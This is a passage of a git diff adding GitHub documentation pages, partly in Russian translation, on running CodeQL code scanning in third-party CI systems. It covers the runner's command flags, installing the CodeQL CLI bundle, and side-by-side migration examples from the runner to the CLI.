+$ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml + --queries +security-and-quality,octo-org/python-qlpack/show_ifs.ql@main +``` + +## Using a custom configuration file + +Instead of passing additional information to the {% data variables.code-scanning.codeql_runner %} commands, you can specify custom settings in a separate configuration file. + +The configuration file is a YAML file. It uses syntax similar to the workflow syntax for {% data variables.product.prodname_actions %}, as illustrated in the examples below. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)." + +Use the `--config-file` flag of the `init` command to specify the configuration file. The value of `--config-file` is the path to the configuration file that you want to use. This example loads the configuration file _.github/codeql/codeql-config.yml_. + +```shell +$ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml +``` + +{% data reusables.code-scanning.custom-configuration-file %} + +### Example configuration files + +{% data reusables.code-scanning.example-configuration-files %} + +## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages + +For the compiled languages C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java, {% data variables.product.prodname_codeql %} builds the code before analyzing it. {% data reusables.code-scanning.analyze-go %} + +For many common build systems, the {% data variables.code-scanning.codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first. + +The `autobuild` process only ever attempts to build _one_ compiled language for a repository. The language automatically selected for analysis is the language with the most files. If you want to choose a language explicitly, use the `--language` flag of the `autobuild` command. + +```shell +$ /path/to-runner/codeql-runner-linux autobuild --language csharp +``` + +If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)." + +## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %} + +By default, the {% data variables.code-scanning.codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command. + +Once you've uploaded the data, {% data variables.product.prodname_dotcom %} displays the alerts in your repository. +- If you uploaded to a pull request, for example `--ref refs/pull/42/merge` or `--ref refs/pull/42/head`, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +- If you uploaded to a branch, for example `--ref refs/heads/my-branch`, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." + +## {% data variables.code-scanning.codeql_runner %} command reference + +The {% data variables.code-scanning.codeql_runner %} supports the following commands and flags. + +### `init` + +Initializes the {% data variables.code-scanning.codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed. + +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--repository` | ✓ | Name of the repository to initialize. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. | +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. | +| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.code-scanning.codeql_runner %} detects and analyzes all supported languages in the repository. | +| `--queries` | | Comma-separated list of additional queries to run, in addition to the default suite of security queries. This overrides the `queries` setting in the custom configuration file. | +| `--config-file` | | Path to custom configuration file. | +| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.code-scanning.codeql_runner %} downloads a copy. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--tools-dir` | | Directory where {% data variables.product.prodname_codeql %} tools and other files are stored between runs. The default is a subdirectory of the home directory. | +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--debug` | | None. Prints more verbose output. | +| `--trace-process-name` | | Advanced, Windows only. Name of the process where a Windows tracer of this process is injected. | +| `--trace-process-level` | | Advanced, Windows only. Number of levels up of the parent process where a Windows tracer of this process is injected. | +| `-h`, `--help` | | None. Displays help for the command. | + +### `autobuild` + +Attempts to build the code for the compiled languages C/C++, C#, and Java. For those languages, {% data variables.product.prodname_codeql %} builds the code before analyzing it. Run `autobuild` between the `init` and `analyze` steps. + +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--language` | | The language to build. By default, the {% data variables.code-scanning.codeql_runner %} builds the compiled language with the most files. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | + +### `analyze` + +Analyzes the code in the {% data variables.product.prodname_codeql %} databases and uploads results to {% data variables.product.product_name %}. + +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--repository` | ✓ | Name of the repository to analyze. | +| `--commit` | ✓ | SHA of the commit to analyze. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. | +| `--ref` | ✓ | Name of the reference to analyze, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. | +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. | +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--no-upload` | | None. Stops the {% data variables.code-scanning.codeql_runner %} from uploading the results to {% data variables.product.product_name %}. | +| `--output-dir` | | Directory where the output SARIF files are stored. The default is in the directory of temporary files. | +| `--ram` | | Amount of memory to use when running queries. The default is to use all available memory. | +| `--no-add-snippets` | | None. Excludes code snippets from the SARIF output. | +| `--category` | | Category to include in the SARIF results file for this analysis. A category can be used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. This value will appear in the `.automationDetails.id` property in SARIF v2.1.0. | +| `--threads` | | Number of threads to use when running queries. The default is to use all available cores. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | + +### `upload` + +Uploads SARIF files to {% data variables.product.product_name %}. + +{% note %} + +**Note**: If you analyze code with the CodeQL runner, the `analyze` command uploads SARIF results by default. You can use the `upload` command to upload SARIF results that were generated by other tools. + +{% endnote %} + +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--sarif-file` | ✓ | SARIF file to upload, or a directory containing multiple SARIF files. | +| `--repository` | ✓ | Name of the repository that was analyzed. | +| `--commit` | ✓ | SHA of the commit that was analyzed. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. | +| `--ref` | ✓ | Name of the reference that was analyzed, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. | +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. | +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | diff --git a/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md new file mode 100644 index 000000000000..a4539b2120b5 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md @@ -0,0 +1,36 @@ +--- +title: Использование сканирования кода CodeQL с существующей системой CI +shortTitle: Use CodeQL in CI system +intro: 'Вы можете выполнить анализ {% data variables.product.prodname_codeql %} в существующей системе непрерывной интеграции и передать результаты в {% data variables.product.product_name %} для отображения в виде оповещений {% data variables.product.prodname_code_scanning %}.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/using-codeql-code-scanning-with-your-existing-ci-system + - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - Integration + - CI + - CodeQL +children: + - /about-codeql-code-scanning-in-your-ci-system + - /installing-codeql-cli-in-your-ci-system + - /configuring-codeql-cli-in-your-ci-system + - /running-codeql-runner-in-your-ci-system + - /configuring-codeql-runner-in-your-ci-system + - /troubleshooting-codeql-runner-in-your-ci-system + - /migrating-from-the-codeql-runner-to-codeql-cli +ms.openlocfilehash: 09a930edef1ba954d6953a47e016d530467a5307 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145116112' +--- + diff --git a/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md new file mode 100644 index 000000000000..8ad9bee420b8 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md @@ -0,0 +1,119 @@ +--- +title: Installing CodeQL CLI in your CI system +shortTitle: Install CodeQL CLI +intro: 'You can install the {% data variables.product.prodname_codeql_cli %} and use it to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.' +product: '{% data reusables.gated-features.code-scanning %}' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - CodeQL + - Repositories + - Pull requests + - Integration + - CI + - SARIF +redirect_from: + - /code-security/secure-coding/running-codeql-cli-in-your-ci-system + - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-cli-in-your-ci-system + - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system +--- +{% data reusables.code-scanning.enterprise-enable-code-scanning %} + +## About using the {% data variables.product.prodname_codeql_cli %} for {% data variables.product.prodname_code_scanning %} + +You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." For recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis, see "[Recommended hardware resources for running {% data variables.product.prodname_codeql %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql)." + +{% data reusables.code-scanning.what-is-codeql-cli %} + +Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information about {% data variables.product.prodname_code_scanning %} using actions, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." For an overview of the options for CI systems, see "[About CodeQL {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)". + +{% data reusables.code-scanning.licensing-note %} + +## Downloading the {% data variables.product.prodname_codeql_cli %} + +You should download the {% data variables.product.prodname_codeql %} bundle from https://github.com/github/codeql-action/releases. The bundle contains: + +- {% data variables.product.prodname_codeql_cli %} product +- A compatible version of the queries and libraries from https://github.com/github/codeql +- Precompiled versions of all the queries included in the bundle + +{% ifversion ghes or ghae %} + +{% note %} +For {% data variables.product.product_name %}{% ifversion ghes %} {{ allVersions[currentVersion].currentRelease }}{% endif %}, we recommend {% data variables.product.prodname_codeql_cli %} version {% data variables.product.codeql_cli_ghes_recommended_version %}. +{% endnote %} + +{% endif %} + +You should always use the {% data variables.product.prodname_codeql %} bundle as this ensures compatibility and also gives much better performance than a separate download of the {% data variables.product.prodname_codeql_cli %} and checkout of the {% data variables.product.prodname_codeql %} queries. If you will only be running the CLI on one specific platform, download the appropriate `codeql-bundle-PLATFORM.tar.gz` file. Alternatively, you can download `codeql-bundle.tar.gz`, which contains the CLI for all supported platforms. + +{% data reusables.code-scanning.beta-codeql-packs-cli %} + +## Setting up the {% data variables.product.prodname_codeql_cli %} in your CI system + +You need to make the full contents of the {% data variables.product.prodname_codeql_cli %} bundle available to every CI server that you want to run CodeQL {% data variables.product.prodname_code_scanning %} analysis on. For example, you might configure each server to copy the bundle from a central, internal location and extract it. Alternatively, you could use the REST API to get the bundle directly from {% data variables.product.prodname_dotcom %}, ensuring that you benefit from the latest improvements to queries. Updates to the {% data variables.product.prodname_codeql_cli %} are released every 2-3 weeks. For example: + +```shell +$ wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-bundle-linux64.tar.gz +$ tar -xvzf ./codeql-bundle-linux64.tar.gz +``` + +After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the `codeql` executable on the server: + +- By executing `//codeql/codeql`, where `` is the folder where you extracted the {% data variables.product.prodname_codeql_cli %} bundle. +- By adding `//codeql` to your `PATH`, so that you can run the executable as just `codeql`. + +{% ifversion fpt or ghec or ghes > 3.7 or ghae > 3.7 %} +{% note %} + +If you use the {% data variables.product.prodname_codeql_cli %} to analyze code written in Python, you must make sure that your CI system has Python 3 installed. + +{% endnote %} +{% endif %} + +## Testing the {% data variables.product.prodname_codeql_cli %} set up + +After you extract the {% data variables.product.prodname_codeql_cli %} bundle, you can run the following command to verify that the CLI is correctly set up to create and analyze databases. + +- `codeql resolve qlpacks` if `//codeql` is on the `PATH`. +- `//codeql/codeql resolve qlpacks` otherwise. + +**Extract from successful output:** +``` +codeql/cpp-all (//qlpacks/codeql/cpp-all/) +codeql/cpp-examples (//qlpacks/codeql/cpp-examples/) +codeql/cpp-queries (//qlpacks/codeql/cpp-queries/) +codeql/csharp-all (//qlpacks/codeql/charp-all/) +codeql/csharp-examples (//qlpacks/codeql/charp-examples/) +codeql/csharp-queries (//qlpacks/codeql/charp-queries/) +codeql/java-all (//qlpacks/codeql/java-all/) +codeql/java-examples (//qlpacks/codeql/java-examples/) +codeql/java-queries (//qlpacks/codeql/java-queries/) +codeql/javascript-all (//qlpacks/codeql/javascript-all/) +codeql/javascript-examples (//qlpacks/codeql/javascript-examples/) +codeql/javascript-queries (//qlpacks/codeql/javascript-queries/) +codeql/python-all (//qlpacks/codeql/python-all/) +codeql/python-examples (//qlpacks/codeql/python-examples/) +codeql/python-queries (//qlpacks/codeql/python-queries/) +codeql/ruby-all (//qlpacks/codeql/ruby-all/) +codeql/ruby-examples (//qlpacks/codeql/ruby-examples/) +codeql/ruby-queries (//qlpacks/codeql/ruby-queries/) +... +``` + +You should check that the output contains the expected languages and also that the directory location for the qlpack files is correct. The location should be within the extracted {% data variables.product.prodname_codeql_cli %} bundle, shown above as ``, unless you are using a checkout of `github/codeql`. If the {% data variables.product.prodname_codeql_cli %} is unable to locate the qlpacks for the expected languages, check that you downloaded the {% data variables.product.prodname_codeql %} bundle and not a standalone copy of the {% data variables.product.prodname_codeql_cli %}. + +## Generating a token for authentication with {% data variables.product.product_name %} + +Each CI server needs a {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} for the {% data variables.product.prodname_codeql_cli %} to use to upload results to {% data variables.product.product_name %}. You must use an access token or a {% data variables.product.prodname_github_app %} with the `security_events` write permission. If CI servers already use a token with this scope to checkout repositories from {% data variables.product.product_name %}, you could potentially allow the {% data variables.product.prodname_codeql_cli %} to use the same token. Otherwise, you should create a new token with the `security_events` write permission and add this to the CI system's secret store. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + +## Next steps + +You're now ready to configure the CI system to run {% data variables.product.prodname_codeql %} analysis, generate results, and upload them to {% data variables.product.product_name %} where the results will be matched to a branch or pull request and displayed as {% data variables.product.prodname_code_scanning %} alerts. For detailed information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)." diff --git a/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md new file mode 100644 index 000000000000..fe985ec34fb9 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md @@ -0,0 +1,420 @@ +--- +title: Миграция из средства выполнения CodeQL в CodeQL CLI +shortTitle: Migrating from the CodeQL runner +intro: 'С помощью {% data variables.product.prodname_codeql_cli %} можно выполнять те же задачи, что и с {% data variables.code-scanning.codeql_runner %}.' +product: '{% data reusables.gated-features.code-scanning %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security + - Code scanning + - CodeQL +ms.openlocfilehash: 10711111e3fa5c7226574ac9b70eb4bd4d5bff21 +ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/11/2022 +ms.locfileid: '148161267' +--- +# Переход с {% data variables.code-scanning.codeql_runner %} на {% data variables.product.prodname_codeql_cli %} + +{% data variables.code-scanning.codeql_runner %} является устаревшим. Вместо него можно использовать {% data variables.product.prodname_codeql_cli %} версии 2.6.2 и более поздней. +В этом документе описывается перенос общих рабочих процессов из {% data variables.code-scanning.codeql_runner %} в {% data variables.product.prodname_codeql_cli %}. + +## Установка + +Загрузите **{% data variables.product.prodname_codeql %} bundle** из [репозитория `github/codeql-action`](https://github.com/github/codeql-action/releases). Этот пакет сдержит {% data variables.product.prodname_codeql_cli %} и стандартные запросы и библиотеки {% data variables.product.prodname_codeql %}. + +Дополнительные сведения о настройке {% data variables.product.prodname_codeql_cli %} см. в разделе [Установка {% data variables.product.prodname_codeql_cli %} в системе CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system). + +## Общие сведения об изменениях рабочего процесса + +Типичный рабочий процесс, использующий {% data variables.code-scanning.codeql_runner %} для анализа базы кода, выполняет следующие действия. +- `codeql-runner- init` для запуска создания баз данных {% data variables.product.prodname_codeql %} и чтения конфигурации. +- Для компилируемых языков: задайте переменные среды, созданные на шаге `init`. +- Для компилируемых языков: выполните автоматическую сборку или шаги сборки вручную. +- `codeql-runner- analyze` для окончания создания баз данных {% data variables.product.prodname_codeql %}, выполните запросы для анализа каждой базы данных {% data variables.product.prodname_codeql %}, подведите итоги результатов в файле SARIF и отправьте результаты на {% data variables.product.prodname_dotcom %}. + +Типичный рабочий процесс, использующий {% data variables.product.prodname_codeql_cli %} для анализа базы кода, состоит из следующих этапов. +- `codeql database create` для создания баз данных {% data variables.product.prodname_codeql %}. + - Для компилируемых языков: при необходимости предоставьте команду сборки. +- `codeql database analyze` для выполнения запросов на анализ каждой базы данных {% data variables.product.prodname_codeql %} и сведения результатов в файле SARIF. Эта команда должна выполняться один раз для каждого языка или базы данных. +- `codeql github upload-results` для отправки результирующих файлов SARIF на {% data variables.product.prodname_dotcom %} для отображения в виде оповещений о сканировании кода. Эта команда должна выполняться один раз для каждого языка или файла SARIF. + +{% data variables.code-scanning.codeql_runner %} по умолчанию имеет многопоточность. {% data variables.product.prodname_codeql_cli %} использует только один поток по умолчанию, но позволяет указать количество потоков, которые вы хотите использовать. Если вы хотите реплицировать поведение {% data variables.code-scanning.codeql_runner %} для использования всех потоков, доступных на компьютере при использовании {% data variables.product.prodname_codeql_cli %}, можно передать в `--threads 0` `codeql database analyze`. + +Дополнительные сведения см. в статье [Настройка {% data variables.product.prodname_codeql_cli %} в системе CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system). + +## Примеры распространенных применений для {% data variables.product.prodname_codeql_cli %} + +### О примерах + +В этих примерах предполагается, что исходный код извлечен в текущий рабочий каталог. Если вы используете другой каталог, измените аргумент `--source-root` и шаги сборки соответствующим образом. + +В этих примерах также предполагается, что {% data variables.product.prodname_codeql_cli %} помещается в текущий PATH. + +В этих примерах маркер {% data variables.product.prodname_dotcom %} с подходящими областями хранится в переменной среды `$TOKEN` и передается в примеры команд с помощью `stdin` или хранится в переменной среды `$GITHUB_TOKEN`. + +Извлекаемые и анализируемые в этих примерах имя ссылки и SHA фиксации становятся известны во время рабочего процесса. Для ветви используйте `refs/heads/BRANCH-NAME` в качестве ссылки. Для головной фиксации запроса на вытягивание используйте `refs/pull/NUMBER/head`. Для фиксации запроса на вытягивание, созданной {% data variables.product.prodname_dotcom %}, используйте `refs/pull/NUMBER/merge`. Во всех следующих примерах используется `refs/heads/main`. При использовании другого имени ветви необходимо изменить пример кода. + +### Один некомпилируемый язык (JavaScript) + +Средство выполнения: +```bash +echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ + --languages javascript \ + --github-url https://github.com --github-auth-stdin + +echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo + --github-url https://github.com --github-auth-stdin + --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main +``` +Интерфейс командной строки. +```bash +codeql database create /codeql-dbs/example-repo --language=javascript \ + --source-root=. + +# The default query suite is called `-code-scanning.qls`. +codeql database analyze /codeql-dbs/example-repo \ + javascript-code-scanning.qls --sarif-category=javascript \ + --format=sarif-latest --output=/temp/example-repo-js.sarif + +echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ + --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ + --sarif=/temp/example-repo-js.sarif --github-auth-stdin +``` + +### Один некомпилируемый язык (JavaScript) с использованием другого набора запросов (безопасность и качество) + +Аналогичный подход можно использовать для компилируемых языков или нескольких языков. + +Средство выполнения: +```bash +echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ + --languages javascript \ + --github-url https://github.com --github-auth-stdin + +echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo \ + --queries security-and-quality \ + --github-url https://github.com --github-auth-stdin \ + --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main +``` +Интерфейс командной строки. +```bash +codeql database create /codeql-dbs/example-repo --language=javascript \ + --source-root=. + +# Use `-.qls` +codeql database analyze /codeql-dbs/example-repo \ + javascript-security-and-quality.qls --sarif-category=javascript + --format=sarif-latest --output=/temp/example-repo-js.sarif + +echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ + --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ + --sarif=/temp/example-repo-js.sarif --github-auth-stdin +``` + +### Один некомпилируемый язык (JavaScript) с использованием пользовательского файла конфигурации + +Аналогичный подход можно использовать для компилируемых языков или нескольких языков. + +Средство выполнения: +```bash +echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ + --languages javascript \ + --config-file .github/codeql/codeql-config.yml \ + --github-url https://github.com --github-auth-stdin + +echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo \ + --github-url https://github.com --github-auth-stdin \ + --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main +``` +Интерфейс командной строки. +```bash +# Use `--codescanning-config` with the path to the YAML configuration file. +codeql database create /codeql-dbs/example-repo --language=javascript \ + --codescanning-config=.github/codeql/codeql-config.yml \ + --source-root=. + +codeql database analyze /codeql-dbs/example-repo \ + --sarif-category=javascript + --format=sarif-latest --output=/temp/example-repo-js.sarif + +echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ + --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ + --sarif=/temp/example-repo-js.sarif --github-auth-stdin +``` + +### Один компилируемый язык с использованием автоматической сборки (Java) + +Средство выполнения: +```bash +echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ + --languages java \ + --github-url https://github.com --github-auth-stdin + +# Source the script generated by the init step to set up the environment to monitor the build. +. codeql-runner/codeql-env.sh + +# Run the autobuilder for the given language. +codeql-runner-linux autobuild --language java + +echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo + --github-url https://github.com --github-auth-stdin + --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main +``` +Интерфейс командной строки. +```bash +# Run `codeql database create` without `--command`. +# This will run the autobuilder for the given language. +codeql database create /codeql-dbs/example-repo --language=java \ + --source-root=. + +codeql database analyze /codeql-dbs/example-repo \ + javascript-code-scanning.qls --sarif-category=java + --format=sarif-latest --output=/temp/example-repo-java.sarif + +echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ + --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ + --sarif=/temp/example-repo-java.sarif --github-auth-stdin +``` + +### Один компилируемый язык с использованием пользовательской команды сборки (Java) + +Средство выполнения: +```bash +echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ + --languages java \ + --github-url https://github.com --github-auth-stdin + +# Source the script generated by the init step to set up the environment to monitor the build. +. codeql-runner/codeql-env.sh + +# Run a custom build command. +mvn compile -DskipTests + +echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo + --github-url https://github.com --github-auth-stdin + --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main +``` +Интерфейс командной строки. +```bash +# Provide an explicit build command using `--command`. +codeql database create /codeql-dbs/example-repo --language=java \ + --command="mvn compile -DskipTests" --source-root=. + +codeql database analyze /codeql-dbs/example-repo \ + java-code-scanning.qls --sarif-category=java + --format=sarif-latest --output=/temp/example-repo-java.sarif + +echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ + --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ + --sarif=/temp/example-repo-java.sarif --github-auth-stdin +``` + +### Один компилируемый язык с использованием непрямой трассировки сборки (C# на Windows в Azure DevOps) + +Непрямая трассировка сборки для компилируемого языка позволяет {% data variables.product.prodname_codeql %} обнаруживать все этапы сборки между этапами `init` и `analyze`, когда код невозможно собрать с помощью автоматического средства или явной командной строки сборки. Это полезно при использовании предварительно настроенных шагов сборки из системы CI, таких как задачи `VSBuild` и `MSBuild` в Azure DevOps. + +Средство выполнения: +```yaml +- task: CmdLine@1 + displayName: CodeQL Initialization + inputs: + script: "%CodeQLRunner%\\codeql-runner-win.exe init --repository my-org/example-repo --languages csharp --github-url https://github.com --github-auth $(Token)" +# Set the generated environment variables so they are available for subsequent commands, in the format required by Azure Pipelines. +- task: PowerShell@1 + displayName: Set CodeQL Environment Variables + inputs: + targetType: inline + script: > + $json = Get-Content $(System.DefaultWorkingDirectory)/codeql-runner/codeql-env.json | ConvertFrom-Json + $json.PSObject.Properties | ForEach-Object { + $template = "##vso[task.setvariable variable=" + $template += $_.Name + $template += "]" + $template += $_.Value + echo "$template" + } + +# Execute a clean build using the VSBuild task. +- task: VSBuild@1 + inputs: + solution: '**/*.sln' + msbuildArgs: '/p:OutDir=$(Build.ArtifactStagingDirectory) /p:UseSharedCompilation=false' + platform: Any CPU + configuration: Release + clean: True + displayName: Visual Studio Build + +# Analyze the database created as part of the build, by running the selected queries against it, and upload results to GitHub. +- task: CmdLine@2 + displayName: CodeQL Analyze + inputs: + script: '%CodeQLRunner%\codeql-runner-win.exe analyze --repository my-org/example-repo --commit $(Build.SourceVersion) --ref $(Build.SourceBranch) --github-url https://github.com --github-auth $(Token)' +``` + +Интерфейс командной строки. +```yaml +# Run any pre-build tasks, for example, restore NuGet dependencies... + +# Initialize the CodeQL database using `codeql database init --begin tracing`. +- task: CmdLine@1 + displayName: Initialize CodeQL database + inputs: + # Assumes the source code is checked out to the current working directory. + # Creates a database at `/codeql-dbs/example-repo`. + # Running on Windows, so specifies a trace process level. + script: "codeql database init --language csharp --trace-process-name Agent.Worker.exe --source-root . --begin-tracing /codeql-dbs/example-repo" + +# For CodeQL to trace future build steps without knowing the explicit build commands, +# it requires certain environment variables to be set during the build. +# Read these generated environment variables and values, and set them so they are available for subsequent commands +# in the build pipeline. This is done in PowerShell in this example. +- task: PowerShell@1 + displayName: Set CodeQL environment variables + inputs: + targetType: inline + script: > + $json = Get-Content /codeql-dbs/example-repo/temp/tracingEnvironment/start-tracing.json | ConvertFrom-Json + $json.PSObject.Properties | ForEach-Object { + $template = "##vso[task.setvariable variable=" + $template += $_.Name + $template += "]" + $template += $_.Value + echo "$template" + } + +# Execute the pre-defined build step. Note the `msbuildArgs` variable. +- task: VSBuild@1 + inputs: + solution: '**/*.sln' + # Disable MSBuild shared compilation for C# builds. + msbuildArgs: 